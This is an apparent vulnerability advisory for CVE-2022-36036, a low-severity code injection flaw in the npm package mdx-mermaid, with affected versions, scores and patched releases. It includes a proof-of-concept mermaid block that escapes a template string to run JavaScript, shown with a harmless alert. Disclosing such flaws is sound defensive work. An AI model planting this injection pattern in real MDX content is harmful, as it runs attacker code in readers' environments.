CVE-2022-36036 – mdx-mermaid
Package
Manager: npm
Name: mdx-mermaid
Vulnerable Version: >=0 <1.3.0 || =2.0.0-rc1 || >=2.0.0-rc1 <2.0.0-rc2
Severity
Level: Low
CVSS v3.1: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
CVSS v4.0: CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS: 0.00129 pctl0.33089
Details
Improper Control of Generation of Code ('Code Injection') in mdx-mermaid ### Impact Arbitary javascript injection Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs ``` ` + (function () { // Put Javascript code here return '' }()) + ` ``` The block below shows a valid mermaid code block ````md ```mermaid graph TD; A-->B; A-->C; B-->D; C-->D; ``` ```` The same block but with the exploit added ````md ```mermaid ` + (function () { alert('vulnerable') return '' }()) + ` graph TD; A-->B; A-->C; B-->D; C-->D; ``` ```` ### Patches 1.3.0 and 2.0.0-rc2 ### Workarounds None known
Metadata
Created: 2022-08-31T22:26:11Z
Modified: 2022-09-08T14:12:04Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/08/GHSA-rvgm-35jw-q628/GHSA-rvgm-35jw-q628.json
CWE IDs: ["CWE-94"]
Alternative ID: GHSA-rvgm-35jw-q628
Finding: F416
Auto approve: 1